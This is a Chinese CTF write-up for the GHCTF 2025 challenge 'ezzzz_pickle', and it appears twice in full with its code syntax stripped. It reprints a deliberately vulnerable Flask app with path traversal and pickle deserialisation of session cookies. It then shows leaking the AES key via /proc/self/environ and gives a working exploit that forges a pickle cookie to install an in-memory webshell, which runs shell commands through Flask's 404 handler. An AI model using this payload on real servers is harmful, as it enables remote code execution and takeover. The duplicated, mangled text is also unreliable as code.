登录页面进行爆破得到账号密码admin:admin123登陆成功后查看源码有个hintsession_pickle猜测是python pickle反序列化抓个包看看filename参数读取源码app.pyfrom flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import base64 import time import os app Flask(__name__) def generate_key_iv(): key os.environ.get(SECRET_key).encode()//这是我们需要获取的东西从系统环境中读取key和iv iv os.environ.get(SECRET_iv).encode() return key, iv def aes_encrypt_decrypt(data, key, iv, modeencrypt): cipher Cipher( algorithms.AES(key), modes.CBC(iv), backenddefault_backend() ) if mode encrypt: encryptor cipher.encryptor() padder padding.PKCS7(//对明文做PKCS7填充 algorithms.AES.block_size ).padder() padded_data ( padder.update(data.encode()) padder.finalize() ) result (//加密二进制数据 encryptor.update(padded_data) encryptor.finalize() ) return base64.b64encode(result).decode()//密文做base64编码传为字符串 elif mode decrypt: decryptor cipher.decryptor() encrypted_data_bytes base64.b64decode(data)//base64解码得到AES密文 decrypted_data (//AES-CBC解密得到带填充的明文 decryptor.update(encrypted_data_bytes) decryptor.finalize() ) unpadder padding.PKCS7(//PKCS去填充 algorithms.AES.block_size ).unpadder() unpadded_data ( unpadder.update(decrypted_data) unpadder.finalize() ) return unpadded_data.decode()//解码为普通字符串返回 //整个 Session 是 Pickle 数据 → Base64 → AES-CBC 加密 → 放入 Cookie 的多层包装。 users { admin: admin123, } def create_session(username): session_data { username: username, expires: time.time() 3600 } pickled pickle.dumps(session_data)//pickle反序列化字典 pickled_data base64.b64encode(pickled).decode(utf-8)//反序列化结果Base64编码 key, iv generate_key_iv() session aes_encrypt_decrypt(//AES加密base64字符串 key, iv, modeencrypt ) return session//登录成功值会被设置到cookie中 def dowload_file(filename): path os.path.join(static, filename)//没有过滤../ with open(path, rb) as f: data f.read().decode(utf-8) return data def validate_session(cookie): try: key, iv generate_key_iv() pickled aes_encrypt_decrypt( cookie, key, iv, modedecrypt//解密cookie ) pickled_data base64.b64decode(pickled) session_data pickle.loads(pickled_data) if session_data[username] ! admin://校验admin,session是否过期 return False return ( session_data if session_data[expires] time.time() else False ) except: return False app.route(/, methods[GET, POST]) def index(): if session in request.cookies: session validate_session( request.cookies[session] ) if session: data filename request.form.get(filename)//接收前端的filename参数可进行路径穿越 if filename: data dowload_file(filename) return render_template( index.html, namesession[username], file_datadata ) return redirect(/login) app.route(/login, methods[GET, POST])//login接口 def login(): if request.method POST: username request.form.get(username) password request.form.get(password) if users.get(username) password: resp make_response( redirect(/) ) resp.set_cookie( session, create_session(username) ) return resp return render_template( login.html, errorInvalid username or password ) return render_template(login.html) app.route(/logout) def logout(): resp make_response( redirect(/login) ) resp.delete_cookie(session) return resp if __name__ __main__: app.run( host0.0.0.0, debugFalse )key和iv是在环境变量里面的(从源码中得知)进行读取环境变量def generate_key_iv(): key os.environ.get(SECRET_key).encode()//这是我们需要获取的东西从系统环境中读取key和iv iv os.environ.get(SECRET_iv).encode() return key, ivpayloadfilename/proc/self/envsion这里得到了secret_key和secret_ivSECRET_keyajwdopldwjdowpajdmslkmwjrfhgnbbv SECRET_ivasdwdggiouewhgpw打内存马内存马是无文件webshell就是服务器上不会存在需要连接的webshell脚本文件内存马的原理就是在web组件或者应用程序中注册一层访问路由访问者通过这层路由来执行我们控制器中的代码Pickle 本身允许在反序列化时执行任意 Python 代码进行伪造session生成cookieimport os import requests import pickle import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding def aes_encrypt_decrypt(data, key, iv, modeencrypt): cipher Cipher(algorithms.AES(key), modes.CBC(iv), backenddefault_backend()) if mode encrypt: encryptor cipher.encryptor() padder padding.PKCS7(algorithms.AES.block_size).padder() padded_data padder.update(data.encode()) padder.finalize() result encryptor.update(padded_data) encryptor.finalize() return base64.b64encode(result).decode() elif mode decrypt: decryptor cipher.decryptor() encrypted_data_bytes base64.b64decode(data) decrypted_data decryptor.update(encrypted_data_bytes) decryptor.finalize() unpadder padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data unpadder.update(decrypted_data) unpadder.finalize() return unpadded_data.decode() class A(): def __reduce__(self): return (exec,(global exc_class;global code;exc_class, code app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] lambda a:__import__(os).popen(request.args.get(shell)).read(),)) def exp(url): a A() pickled pickle.dumps(a) print(pickled) key bajwdopldwjdowpajdmslkmwjrfhgnbbv iv basdwdggiouewhgpw pickled_data base64.b64encode(pickled).decode(utf-8) payloadaes_encrypt_decrypt(pickled_data,key,iv,modeencrypt) print(payload) Cookie{session:payload} request requests.post(url,cookiesCookie) print(request) if __name__ __main__: urlhttp://node2.anna.nssctf.cn:20228/ exp(url)__reduce__() - 反序列化的时候不会正常创建对象而是执行指定的函数pickled pickle.dumps(a) 里面记录的是反序列化时调用 exec参数为global exc_class ...global exc_class; global code; exc_class, code app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] lambda a:__import__(os).popen(request.args.get(shell)).read()global exc_class;和global code;声明了全局变量exc_class异常类http状态码目的是让它们在函数或 lambda 中也可访问。 在 Flask 中用全局变量并不常见但这里只是为了 exec 执行时作用域可用exc_class, code app._get_exc_class_and_code(404);_get_exc_class_and_code(404)是flask内部方法exc_class-对应404的异常类 code-对应HTTP状态码404 目的定位 Flask 的 404 错误处理器方便后面替换。app.error_handler_spec是flask内部存储错误处理函数的地方目的是将404错误处理函数换掉换成一个新的lambdalambda a:__import__(os).popen(request.args.get(shell)).read()执行流程当flask遇到404时参数a是原来异常对象(不用) request.args.get(shell)-从URL GET参数获取shell的值 __import__(os).popen()-执行系统命令 .read()-读取命令输出访问任意不存在的页面 ?shell命令-执行系统命令-返回命令输出非预期payload/proc/1/envsion得到flag参考文章GHCTF_web_wp(个人出的题) | L的博客
[GHCTF 2025]ezzzz_pickle
登录页面进行爆破得到账号密码admin:admin123登陆成功后查看源码有个hintsession_pickle猜测是python pickle反序列化抓个包看看filename参数读取源码app.pyfrom flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import base64 import time import os app Flask(__name__) def generate_key_iv(): key os.environ.get(SECRET_key).encode()//这是我们需要获取的东西从系统环境中读取key和iv iv os.environ.get(SECRET_iv).encode() return key, iv def aes_encrypt_decrypt(data, key, iv, modeencrypt): cipher Cipher( algorithms.AES(key), modes.CBC(iv), backenddefault_backend() ) if mode encrypt: encryptor cipher.encryptor() padder padding.PKCS7(//对明文做PKCS7填充 algorithms.AES.block_size ).padder() padded_data ( padder.update(data.encode()) padder.finalize() ) result (//加密二进制数据 encryptor.update(padded_data) encryptor.finalize() ) return base64.b64encode(result).decode()//密文做base64编码传为字符串 elif mode decrypt: decryptor cipher.decryptor() encrypted_data_bytes base64.b64decode(data)//base64解码得到AES密文 decrypted_data (//AES-CBC解密得到带填充的明文 decryptor.update(encrypted_data_bytes) decryptor.finalize() ) unpadder padding.PKCS7(//PKCS去填充 algorithms.AES.block_size ).unpadder() unpadded_data ( unpadder.update(decrypted_data) unpadder.finalize() ) return unpadded_data.decode()//解码为普通字符串返回 //整个 Session 是 Pickle 数据 → Base64 → AES-CBC 加密 → 放入 Cookie 的多层包装。 users { admin: admin123, } def create_session(username): session_data { username: username, expires: time.time() 3600 } pickled pickle.dumps(session_data)//pickle反序列化字典 pickled_data base64.b64encode(pickled).decode(utf-8)//反序列化结果Base64编码 key, iv generate_key_iv() session aes_encrypt_decrypt(//AES加密base64字符串 key, iv, modeencrypt ) return session//登录成功值会被设置到cookie中 def dowload_file(filename): path os.path.join(static, filename)//没有过滤../ with open(path, rb) as f: data f.read().decode(utf-8) return data def validate_session(cookie): try: key, iv generate_key_iv() pickled aes_encrypt_decrypt( cookie, key, iv, modedecrypt//解密cookie ) pickled_data base64.b64decode(pickled) session_data pickle.loads(pickled_data) if session_data[username] ! admin://校验admin,session是否过期 return False return ( session_data if session_data[expires] time.time() else False ) except: return False app.route(/, methods[GET, POST]) def index(): if session in request.cookies: session validate_session( request.cookies[session] ) if session: data filename request.form.get(filename)//接收前端的filename参数可进行路径穿越 if filename: data dowload_file(filename) return render_template( index.html, namesession[username], file_datadata ) return redirect(/login) app.route(/login, methods[GET, POST])//login接口 def login(): if request.method POST: username request.form.get(username) password request.form.get(password) if users.get(username) password: resp make_response( redirect(/) ) resp.set_cookie( session, create_session(username) ) return resp return render_template( login.html, errorInvalid username or password ) return render_template(login.html) app.route(/logout) def logout(): resp make_response( redirect(/login) ) resp.delete_cookie(session) return resp if __name__ __main__: app.run( host0.0.0.0, debugFalse )key和iv是在环境变量里面的(从源码中得知)进行读取环境变量def generate_key_iv(): key os.environ.get(SECRET_key).encode()//这是我们需要获取的东西从系统环境中读取key和iv iv os.environ.get(SECRET_iv).encode() return key, ivpayloadfilename/proc/self/envsion这里得到了secret_key和secret_ivSECRET_keyajwdopldwjdowpajdmslkmwjrfhgnbbv SECRET_ivasdwdggiouewhgpw打内存马内存马是无文件webshell就是服务器上不会存在需要连接的webshell脚本文件内存马的原理就是在web组件或者应用程序中注册一层访问路由访问者通过这层路由来执行我们控制器中的代码Pickle 本身允许在反序列化时执行任意 Python 代码进行伪造session生成cookieimport os import requests import pickle import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding def aes_encrypt_decrypt(data, key, iv, modeencrypt): cipher Cipher(algorithms.AES(key), modes.CBC(iv), backenddefault_backend()) if mode encrypt: encryptor cipher.encryptor() padder padding.PKCS7(algorithms.AES.block_size).padder() padded_data padder.update(data.encode()) padder.finalize() result encryptor.update(padded_data) encryptor.finalize() return base64.b64encode(result).decode() elif mode decrypt: decryptor cipher.decryptor() encrypted_data_bytes base64.b64decode(data) decrypted_data decryptor.update(encrypted_data_bytes) decryptor.finalize() unpadder padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data unpadder.update(decrypted_data) unpadder.finalize() return unpadded_data.decode() class A(): def __reduce__(self): return (exec,(global exc_class;global code;exc_class, code app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] lambda a:__import__(os).popen(request.args.get(shell)).read(),)) def exp(url): a A() pickled pickle.dumps(a) print(pickled) key bajwdopldwjdowpajdmslkmwjrfhgnbbv iv basdwdggiouewhgpw pickled_data base64.b64encode(pickled).decode(utf-8) payloadaes_encrypt_decrypt(pickled_data,key,iv,modeencrypt) print(payload) Cookie{session:payload} request requests.post(url,cookiesCookie) print(request) if __name__ __main__: urlhttp://node2.anna.nssctf.cn:20228/ exp(url)__reduce__() - 反序列化的时候不会正常创建对象而是执行指定的函数pickled pickle.dumps(a) 里面记录的是反序列化时调用 exec参数为global exc_class ...global exc_class; global code; exc_class, code app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] lambda a:__import__(os).popen(request.args.get(shell)).read()global exc_class;和global code;声明了全局变量exc_class异常类http状态码目的是让它们在函数或 lambda 中也可访问。 在 Flask 中用全局变量并不常见但这里只是为了 exec 执行时作用域可用exc_class, code app._get_exc_class_and_code(404);_get_exc_class_and_code(404)是flask内部方法exc_class-对应404的异常类 code-对应HTTP状态码404 目的定位 Flask 的 404 错误处理器方便后面替换。app.error_handler_spec是flask内部存储错误处理函数的地方目的是将404错误处理函数换掉换成一个新的lambdalambda a:__import__(os).popen(request.args.get(shell)).read()执行流程当flask遇到404时参数a是原来异常对象(不用) request.args.get(shell)-从URL GET参数获取shell的值 __import__(os).popen()-执行系统命令 .read()-读取命令输出访问任意不存在的页面 ?shell命令-执行系统命令-返回命令输出非预期payload/proc/1/envsion得到flag参考文章GHCTF_web_wp(个人出的题) | L的博客